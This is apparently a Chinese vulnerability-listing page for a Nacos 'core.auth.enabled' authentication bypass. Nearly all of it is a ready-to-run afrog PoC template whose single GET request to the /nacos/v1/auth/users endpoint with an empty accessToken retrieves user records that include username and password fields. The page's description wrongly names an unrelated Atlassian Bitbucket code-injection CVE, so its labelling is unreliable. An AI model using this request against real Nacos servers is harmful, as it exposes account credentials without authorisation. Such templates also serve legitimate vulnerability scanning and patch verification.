nacos-core-auth-enabled-bypass: Nacos core.auth.enabled 权限绕过

日期: 2025-09-01 | 影响软件: nacos | POC: 已公开

漏洞描述

atlassian-bitbucket-代码注入-CVE-2022-36804

PoC代码[已公开]

id: nacos-core-auth-enabled-bypass

info:
  name: Nacos core.auth.enabled 权限绕过
  author: yoyo
  severity: critical
  verified: true
  description: atlassian-bitbucket-代码注入-CVE-2022-36804

rules:
  r0:
    request:
      method: GET
      path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=
    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/nacos-core-auth-enabled-bypass.yaml

相关漏洞推荐